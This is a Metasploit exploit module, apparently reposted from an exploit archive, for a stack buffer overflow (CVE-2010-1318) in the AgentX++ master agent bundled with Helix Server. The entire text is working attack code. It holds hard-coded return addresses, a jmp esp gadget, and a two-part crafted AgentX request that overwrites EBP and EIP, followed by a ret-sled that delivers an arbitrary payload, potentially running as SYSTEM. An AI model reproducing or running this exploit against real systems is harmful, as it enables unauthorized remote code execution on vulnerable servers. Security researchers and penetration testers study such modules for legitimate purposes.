AgentX++ Master – AgentX::receive_agentx Stack Buffer Overflow (Metasploit)
## # $Id: agentxpp_receive_agentx.rb 9279 2010-05-11 01:56:20Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp #include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'AgentX++ Master AgentX::receive_agentx Stack Buffer Overflow', 'Description' => %q{ This exploits a stack buffer overflow in the AgentX++ library, as used by various applications. By sending a specially crafted request, an attacker can execute arbitrary code, potentially with SYSTEM privileges. This module was tested successfully against master.exe as included with Real Network\'s Helix Server v12. When installed as a service with Helix Server, the service runs as SYSTEM, has no recovery action, but will start automatically on boot. This module does not work with NX/XD enabled but could be modified easily to do so. The address }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9279 $', 'References' => [ [ 'CVE', '2010-1318' ], [ 'OSVDB', '63919'], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=867' ] ], 'Privileged' => true, 'DefaultOptions' => { #'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 1024, # plenty of space 'BadChars' => "", # none! 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff" }, 'Platform' => 'win', 'Targets' => [ [ 'Helix Server v12 and v13 - master.exe', { # The BufAddr varies :-/ #'BufAddr' => 0xea3800, 'BufAddr' => 0x1053880, 'BufSize' => 25000, # If this is too large, the buf is unmapped on free 'Ret' => 0x46664b, # mov esp,ebp / pop ebp / ret in master.exe 'JmpEsp' => 0x7c3d55b7 # jmp esp from bundled msvcp71.dll } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 16 2010')) register_options([Opt::RPORT(705)], self.class) end def exploit print_status("Trying target #{target.name}...") connect print_status("Triggering the vulnerability... Cross your fingers!") num = target['BufSize'] num_str = [num].pack('N') # First send 19 bytes to almost fill the buffer... hdr = '' hdr << [0x01, rand(256), 0x10 | rand(256), rand(256)].pack('CCCC') hdr << rand_text(16 - hdr.length) #hdr << "QQQQRRRRSSSS" hdr << num_str[0,3] sock.put(hdr) # Wait to make sure it processed that chunk. select(nil, nil, nil, 0.5) #print_status("press enter to trigger..."); x = $stdin.gets # Send the rest (smashed!) hdr = '' hdr << num_str[3,1] # NOTE: this stuff is extra, but doesn't count towards the payload.. hdr << rand_text(8) #hdr << "EEEEFFFF" # becomes ebp #hdr << "\xeb" * 4 base = target['BufAddr'] new_ebp = base + (num / 2) if (mod4 = (num % 4)) > 0 # align to 4 bytes new_ebp += (4 - mod4) end hdr << [new_ebp].pack('V') # becomes eip #hdr << "\xef\xbe\xad\xde" hdr << [target.ret].pack('V') # NOTE: sending more data will smash the low (up to 3) bytes of the socket handle -- no fun sock.put(hdr) # Send the data that we said we would... stack = [] stack << target['JmpEsp'] num_rets = (num - payload.encoded.length - 4) / 4 num_rets.times { # points to ret instruction stack.unshift(target.ret + 3) } stack = stack.pack('V*') stack << payload.encoded # make sure we have all the bytes, or we wont reach the path we want. stack << rand_text(num - stack.length) sock.put(stack) handler disconnect end end |